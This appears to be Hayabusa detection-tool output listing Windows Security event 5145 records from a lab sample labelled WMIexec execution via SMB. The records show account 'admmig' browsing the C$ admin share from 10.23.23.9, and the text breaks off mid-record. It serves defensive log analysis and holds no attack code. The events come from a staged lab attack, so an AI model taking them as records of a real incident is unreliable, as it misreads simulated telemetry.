+2021-04-22 20:32:29.526 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.WSMan.Runtime : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.526 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.WSMan.Runtime\1.0.0.0__31bf3856ad364e35 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.526 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\MMCEx : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.526 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\MMCEx\3.0.0.0__31bf3856ad364e35 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.526 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\MMCEx.Resources : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.526 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\MMCEx.Resources\3.0.0.0_en_31bf3856ad364e35 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.526 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\MMCFxCommon : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.526 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\MMCFxCommon\3.0.0.0__31bf3856ad364e35 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.526 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\MMCFxCommon.Resources : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.542 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\MMCFxCommon.Resources\3.0.0.0_en_31bf3856ad364e35 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.542 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\System.Management.Automation : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.542 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.542 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\System.Management.Automation.Resources : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.542 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\System.Management.Automation.Resources\1.0.0.0_en_31bf3856ad364e35 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.542 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.557 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Accessibility : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.557 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Accessibility\9c87f327866f53aec68d4fee40cde33d : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.557 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\AuditPolicy42d3d2cc# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.557 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\AuditPolicy42d3d2cc#\93e4ea0bbfb41ae7167324a500662ee0 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.573 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\ComSvcConfig : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.573 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\ComSvcConfig\b22b9bfb4d9b4b757313165d12acc1b1 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.573 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\CustomMarshalers : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.573 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\CustomMarshalers\3028a8133b93784c0a419f1f6eecb9d7 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.589 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\dfsvc : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.589 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\dfsvc\caea217214b52a2ebc7f9e29f0594502 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.589 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\EmbeddedLockdown : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.589 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\EmbeddedLockdown\d890cdf716b288803af7c42951821885 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.589 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\EventViewer : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.589 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\EventViewer\508676af4bc32c6cdfa35cb048209b2a : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.589 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\ipamapi : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.589 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\ipamapi\893f9edeb6b037571dca67c05fad882e : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.589 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.A3ec156ec# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.589 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.A3ec156ec#\b8fd553238ff003621c581b8a7ab9311 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.604 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.A26c32abb# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.604 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.A26c32abb#\f51b67a5b93d62c5a6b657ebfd8cdaea : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.604 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Abf69f55a# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.620 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Abf69f55a#\077014d070d56db90f9a00099da60fa8 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.620 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.B22c61a69# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.620 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.B22c61a69#\a8aada24560f515d50d1227a4edb9a68 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.620 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.B46c55d17# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.620 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.B46c55d17#\a3f0de129553f858134a0e204ddf44c3 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.642 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.B83e9cb53# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.642 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.B83e9cb53#\b2eb2f250605eb6b697ed75a050e9fa1 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.652 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.B3325a29b# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.652 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.B3325a29b#\2d63d4f586d1192cb1d550c159a42729 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.652 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Baa2ca56b# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.652 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Baa2ca56b#\71d44db8d855f43bafe707aabf0050d7 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.652 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Bfc9dc24d# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.652 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Bfc9dc24d#\d33525eb35c4aa8b45b1e60e144e50ab : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.683 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Build : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.683 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Build\d6c8ca8dfe9cd143210459e72a546bf8 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.683 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.C8d726d22# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.683 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.C8d726d22#\95eb335a0d6884a4b311ce7041f71bc3 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.699 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.C25dcfcb8# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.699 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.C25dcfcb8#\81fd3145ed18f31e338ec4dcb5afd7f7 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.699 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.C26a36d2b# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.699 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.C26a36d2b#\2dab9f12dfcdb3bd487693c1bb12e0a6 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.714 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Ca018eff0# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.714 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Ca018eff0#\4d5abc40df9ad72124f147d1d55dd690 : IP Address: 